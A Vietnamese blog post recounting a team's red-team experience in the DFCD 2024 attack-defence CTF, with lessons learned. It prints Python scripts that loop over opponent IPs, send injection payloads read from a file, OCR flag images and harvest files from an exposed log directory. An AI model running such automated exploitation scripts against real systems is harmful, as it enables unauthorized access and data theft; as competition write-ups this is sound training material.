+4

DFCD 2024: Chúng tôi đã giữ vững giải thưởng như thế nào?

Bài viết với hướng nhìn từ red team

1. Chuẩn bị

Trước khi đi thi, leader của team đã đưa ra chiến thuật và phương hướng cho cả team như sau: image.png

Rất rõ ràng để mọi người có thể follow theo. Bên cạnh đó, anh Thái (leader) cũng liên tục tunning các rule cho hệ thống modsec, và anh em build hệ thống Splunk. Và với kinh nghiệm thi từ năm 2023, cơ cấu tổ chức năm nay với team blue là không thay đổi, nên trong thâm tâm, mình thấy red team năm nay sẽ phải phụ thuộc vào blue team rất nhiều, không thể nào attack thoải mái như năm ngoái.

Nên mình chỉ biết chuẩn bị hết các tool trong khả năng như là submit flag, phần này mà thiếu thì khoai phải biết!

Cuộc thi kéo dài trong 3 tiếng, vì vậy, tinh thần tỉnh táo và tập trung là ưu tiên hàng đầu. Trước hôm thi mình đi ngủ lúc 1-2h sáng thì phải :V

2. Cuộc chiến

Khai mạc, anh em chờ đợi từng giây trôi qua để bắt đầu cuộc chiến.

Khi bắt đầu, trang web báo 403, mất 5p đầu để đến khi BTC báo là page hiện 403 là dịch vụ đang chạy bình thường đấy. Anh em Red Team khá là ngờ vực và hơi bất ngờ, vì theo kinh nghiệm năm ngoái, BTC cho hàng loạt các dịch vụ, sau đó thì tương ứng các dịch vụ là các lỗi. image.png Đây là một thử thách, bởi không hề được cung cấp thông tin hay dịch vụ đang chạy một cách tường minh, red team bắt đầu thực hiện dò quét trên hệ thống của team bằng dirsearch và fuff. Nhưng có vẻ không hiệu quả. Bởi chỉ có đúng 1 endpoint tìm thấy là /api, trang này chứa thông tin api của postgresql, ở bức này 2 anh em red team ngồi đọc và tìm hiểu các API này đang làm gì.

2.1. Những Round Đầu Tiên

Chỉ trong vòng 10p sau khi bắt đầu, các payload tấn công từ các đội được blue team báo về, khá nhiều, a Thắng liền gửi cho red team 1 endpoint với payload như sau:

/mathsays?t=Solve%20for%20x%20in%20{x%20+%20(x^2%20/%204)%20=%203}%20within%20the%20set%20{x%20%E2%88%88%20[0,8]%20;%20x%20%3E%201}.

Ngay lúc này, red team thực hiện truy cập và nghiên cứu endpoint này, phát hiện ra khi truy cập /mathsays.html có chứa 1 đoạn javascript như sau: image.png

Khi đọc đoạn code, trong đầu mình nghĩ khả năng là command injection, thử một vài payload và chưa kịp để cho anh em red team suy nghĩ kịp, blue team update lên sheet chuẩn bị trước của anh em hàng loạt payload: image.png

Khi tìm ra lỗi anh em có đôi chút bất ngờ với việc flag ở dạng ảnh image.png

Ở bước này, anh em chia nhau submit flag, mình nhận nhiệm vụ code để tối ưu hoá việc submit flag tự động hết. Còn lúc ấy, anh em người thì dùng Google Image để copy flag, người thì dùng iphone để quét ảnh lấy flag submit bằng tay. Khá khoai!!!!

Bắt tay vào việc auto submit flag, mình nghĩ ra 3 phần của công việc:

  • Tải ảnh tự động
  • Đọc ảnh và OCR ảnh lấy flag
  • Submit flag tự động

Ở các phần thì mình mới chỉ có tool submit flag tự động thôi.

2.2. Các Round Giữa

Rất nhanh sau khi brain storm mình viết nhanh được code thực hiện tải file ảnh về như sau:

import requests

def get_image(ip_and_port):
    try:
        with open("payload.txt", "r") as file:
            payloads = file.readlines()
        for i in payloads:
            burp0_url = f"http://{ip_and_port.strip()}{i}"
            burp0_headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
                "Accept-Language": "en-US,en;q=0.7,ko-KR;q=0.3",
                "Accept-Encoding": "gzip, deflate, br",
                "Connection": "close",
                "Upgrade-Insecure-Requests": "1",
                "X-PwnFox-Color": "blue",
                "Priority": "u=0, i"
            }
            
            # Gửi request
            response = requests.get(burp0_url, headers=burp0_headers)
            
            # Kiểm tra mã trạng thái phản hồi và lưu file ảnh nếu thành công
            if response.status_code == 200:
                filename = ip_and_port.split(":")[0]+"_"+ip_and_port.split(":")[1]
                with open(f"image/{filename}.png", 'wb') as file:
                    file.write(response.content)
                break 
            else:
                continue
    except Exception as e:
        print(f"Error fetching flag for {ip_and_port.strip()}: {e}")

# Đọc danh sách IP từ file và gọi hàm get_image
with open("ip.txt", "r") as file:
    lines = file.readlines()

for ip in lines:
    get_image(ip.strip())

Giai đoạn này, anh em đỡ được 1 bước là lấy ảnh bằng tay, nhưng việc lấy flag ra vẫn thủ công. Mình tiếp tục phát triển phần tiếp theo của tool là OCR dữ liệu, sau đó thực hiện lưu flag vào file nhằm submit một lần cho nhanh.

Rất may, đây là năm 2024, không quá khó khăn để tạo ra các loại tool như OCR phức tạp như này, tôi chỉ việc upload file ảnh chứa flag và miêu tả thứ tôi muốn cho Chat GPT để nó hỗ trợ việc build tool tối ưu hơn.

Chỉ trong 1 phút 30 giây, phần quan trọng nhất của tool được build thành công và tôi chỉ việc check lại code:

import pytesseract
from PIL import Image, UnidentifiedImageError
import re
import os

# Chỉ định đường dẫn tới tesseract.exe
pytesseract.pytesseract.tesseract_cmd = r"C:\Program Files\Tesseract-OCR\tesseract.exe"

def extract_numbers_from_image(image_path):
    try:
        image = Image.open(image_path)
        text = pytesseract.image_to_string(image)
        numbers = re.findall(r'\b[0-9a-fA-F]{32}\b', text)
        return numbers
    except UnidentifiedImageError:
        return []

def process_images_in_folder(folder_path):
    for filename in os.listdir(folder_path):
        if filename.endswith(".png"):
            image_path = os.path.join(folder_path, filename)
            numbers = extract_numbers_from_image(image_path)
            if numbers:
                # print(str(numbers[0]))
                open('flag.txt','a').write(numbers[0]+"\n")

# Chạy hàm với thư mục chứa ảnh
folder_path = "image"  # Đường dẫn tới thư mục chứa các ảnh .png
process_images_in_folder(folder_path)

Từ đây, việc tải, extract flag ra từ ảnh coi như được giải quyết 1 phần, anh em có thể tự tin đi tấn công hay phòng thủ và quan trọng hơn là update các payload bypass. Và trong những round tiếp theo, team VNPAY đã có lúc lên đến top 4 top 5 của cuộc thi:

image.png

Anh em rất hào hứng và tiếp tục lại công việc của các round đầu như endpoint /api, bên cạnh đó còn tìm được thêm endpoint /rpc.

2.3. Những Round Cuối Cùng

Ở những round cuối, team cứ lên xuống trong top 10 liên tục, cao nhất top 4 và thấp nhất top 10, khiến anh em khá căng thẳng. Lại một lần nữa, team blue kiến tạo thêm một bàn thắng. Blue team gửi cho Red team endpoint thu được từ một team nào đó tấn công là /log-api/logs/. Truy cập vào endpoint thì thấy đây là một endpoint chứa Directory listing:

image.png

Ảnh trên là bản build do ban tổ chức gửi lại nên không giống với với thực tế lúc thi

Bằng một chút may mắn chỉ 1 2 click tôi đã tìm được flag nằm trong file nào và gửi cho anh em:

image.png

Nhưng mà lúc này đặt ra vấn đề là làm sao truy cập được folder chứa flag? Ngay lúc ấy Chức nó: "Chỉ cần copy paste hết folder rồi cho burp intruder chạy với đuôi file là dtxt.php là được!" Rất nhanh sau đó, đến round thứ 19 thì Chức hoàn thiện được code get flag:

import requests
import re

# Function to extract timestamps and create new URLs
def extract_timestamps_and_create_urls(base_url):
    try:
        # Ensure the base_url has the http:// prefix
        if not base_url.startswith("http://"):
            base_url = f"http://{base_url}"

        # Send a GET request to the URL with a timeout of 5 seconds
        response = requests.get(f"{base_url}/log-api/logs/", timeout=5)

        # Check if the request was successful
        if response.status_code == 200:
            # Get the response content
            content = response.text
            
            # Use regex to find all timestamps in the response
            timestamps = re.findall(r'\d{4}-\d{2}-\d{2} \d{2}:\d{2}', content)
            
            # Create new URLs with the timestamps and print the responses
            for timestamp in timestamps:
                new_url = f"{base_url}/log-api/logs/{timestamp}/dtxt.php"
                print(f"Calling {new_url}...")

                # Call the dtxt.php endpoint with a timeout of 5 seconds
                dtxt_response = requests.get(new_url, timeout=5)

                # Check if the response is successful
                if dtxt_response.status_code == 200:
                    flag = dtxt_response.text.strip()  # Get the flag and remove extra whitespace
                    print(f"Response from {new_url}: {flag}")

                    # Immediately write the flag to the file
                    with open('flags.txt', 'a') as flag_file:
                        flag_file.write(f"{flag}\n")

                else:
                    print(f"Failed to retrieve from {new_url}: {dtxt_response.status_code}")

        else:
            print(f"Failed to retrieve logs from {base_url}: {response.status_code}")

    except requests.exceptions.Timeout:
        print(f"Request to {base_url} timed out.")
    except Exception as e:
        print(f"An error occurred while processing {base_url}: {e}")

# Main function to read IP:PORT from a file
def main():
    try:
        with open('ip.txt', 'r') as file:
            # Read each line in the file
            ip_ports = file.readlines()

        # Process each IP:PORT entry
        for ip_port in ip_ports:
            base_url = ip_port.strip()  # Remove any whitespace characters
            if base_url:  # Ensure the entry is not empty
                extract_timestamps_and_create_urls(base_url)
    
    except FileNotFoundError:
        print("The file 'ip.txt' was not found.")
    except Exception as e:
        print(f"An error occurred: {e}")

# Run the script
if _name_ == "__main__":
    main()

Anh em hi vọng khi có đường mới để get flag thì team sẽ vào top cao và an toàn với điểm attack khá cao trong toàn cuộc thi. Lúc ấy anh em nghĩ chắc round 20 là kết thúc rồi, nên chỉ còn biết submit flag đều tay, anh em blue team cố gắng def và đảm bảo dịch vụ nhất có thể.

Nhưng không, cuộc thi còn thêm 6 round là tổng 26 round. Ở các round này, mình đã bình tĩnh hơn vì ít ra có 2 hướng để lấy flag, điểm attack cũng khá cao ở chung cuộc, chỉ cầu mong cho anh em blue team giữ vững phong độ.

2.4. Chung cuộc

Ở round cuối cùng, team leo lên top 5, nín thở chờ đợi, anh em red team thực hiện get flag và submit flag lần cuối, và cầu mong cho team không bị lỗi bị down dịch vụ hay bất cứ lỗi nào. Ở 10 giây cuối VNPAY ở top 6 và anh em nín thở, nhìn vào bảng điểm số, lúc này anh em có lẽ đã không còn suy nghĩ gì về việc attack hay defence nữa, mà chỉ ngồi đợi và đếm ngược.

Và nín thở đến giây cuối, vâng chúng tôi đã bảo toàn được vị trị top 6 ở chung cuộc:

image.png

Anh em vui mừng ôm nhau ăn mừng chiến thắng!

3. Kết

Chúng tôi đã thành công bảo vệ giải thưởng:

image.png


Lesson learned

Qua cuộc thi lần này, cả team đã đúc kết được nhiều kinh nghiệm quý giá, đặc biệt là các bài học trong việc phối hợp và cải tiến kỹ năng trong môi trường CTF khắc nghiệt, hay cả trong môi trường làm việc thực tế.

1. Chuẩn bị và tối ưu công cụ từ trước

  • Chuẩn bị kỹ càng trước khi thi giúp team có lợi thế ngay từ đầu. Các tool như Splunk, ModSecurity, và các script được viết trước như script build ModSecurity, restore, hay auto-submit flag đóng vai trò quan trọng trong việc giúp cả team vận hành nhanh chóng, chính xác.
  • Tối ưu hoá các công cụ để thực hiện tác vụ tự động (auto-submit flag, auto OCR) giúp tiết kiệm thời gian, hạn chế các sai sót thủ công và tăng hiệu quả chiến đấu.

2. Phân tích và xử lý thông tin chính xác, nhanh chóng

  • Mỗi giây đều quý giá trong cuộc thi, do đó việc team nhanh chóng phân tích các endpoint và payload mới, triển khai script tấn công và phòng thủ là rất cần thiết.
  • Tinh thần phản ứng nhanh trước các bất ngờ từ BTC, như các dịch vụ có cách thức hoạt động không minh bạch hoặc lỗi không được báo trước, cũng giúp team thích ứng hiệu quả và không mất tinh thần.

3. Gắn kết giữa Red Team và Blue Team

  • Sự phối hợp ăn ý giữa Red Team và Blue Team chính là một yếu tố quan trọng giúp team đạt được thứ hạng cao. Việc Red Team và Blue Team hỗ trợ, cung cấp thông tin về các endpoint, payload, và cùng nhau nghiên cứu các kỹ thuật bypass là một bài học lớn trong sự gắn kết của đội ngũ.
  • Cả team học được rằng việc chia sẻ kiến thức và tài nguyên giúp tối ưu sức mạnh tổng hợp, khi Red Team có thể tập trung tấn công mà Blue Team cũng có thể tối ưu hoá phòng thủ.

4. Kỹ năng tổ chức, quản lý thời gian và tinh thần kiên trì

  • Cuộc thi kéo dài qua nhiều round đòi hỏi sự bền bỉ. Team học được cách sắp xếp công việc hợp lý giữa các thành viên, không chỉ tập trung vào việc lấy điểm mà còn duy trì phong độ lâu dài.
  • Cách quản lý thời gian và giữ vững tinh thần qua các round liên tiếp, đặc biệt trong những round cuối khi phải căng thẳng để giữ vị trí trong top, giúp mọi người rèn luyện được sự kiên nhẫn và bình tĩnh trong những phút giây áp lực.

5. Sáng tạo và linh hoạt trong các giải pháp kỹ thuật

  • Bài học lớn trong việc tận dụng tối đa các công cụ và giải pháp như dùng script cho OCR, tấn công tự động và xử lý log một cách hiệu quả giúp team cải thiện đáng kể khả năng tấn công.
  • Khả năng sáng tạo các giải pháp kỹ thuật mới để vượt qua khó khăn, như phát triển các đoạn mã tải ảnh tự động và quét log nhanh, giúp team tiếp tục tiến xa trong cuộc thi.

Cuối cùng, cuộc thi là một trải nghiệm tuyệt vời giúp cả team không chỉ nâng cao kỹ năng chuyên môn mà còn học được nhiều kỹ năng mềm và rèn luyện tinh thần đồng đội. Kết quả đạt được là minh chứng cho những nỗ lực không ngừng nghỉ của mỗi thành viên.


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí